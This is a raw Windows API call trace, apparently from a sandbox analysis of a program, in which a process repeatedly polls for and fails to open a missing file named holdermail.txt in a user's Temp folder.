	[0089.375] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.375] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.375] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.376] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.376] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.376] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.376] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.376] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.376] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.376] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.377] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.377] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.377] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.377] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.377] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.377] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.377] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.378] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.378] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.378] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.378] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.379] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.379] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.379] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.379] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.380] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.380] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.380] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.380] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.380] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.380] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.381] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.381] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.381] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.381] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.381] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.381] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.381] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.382] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.382] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.382] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.382] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.382] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.382] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.383] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.383] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.383] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.383] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.384] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.384] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.384] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.384] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.385] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.385] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.385] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.385] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.385] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.385] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.385] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.386] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.386] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.386] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.386] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.386] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.386] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.386] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.387] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.387] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.387] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.387] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.387] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.388] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.388] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.388] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.388] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.389] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.389] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.389] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
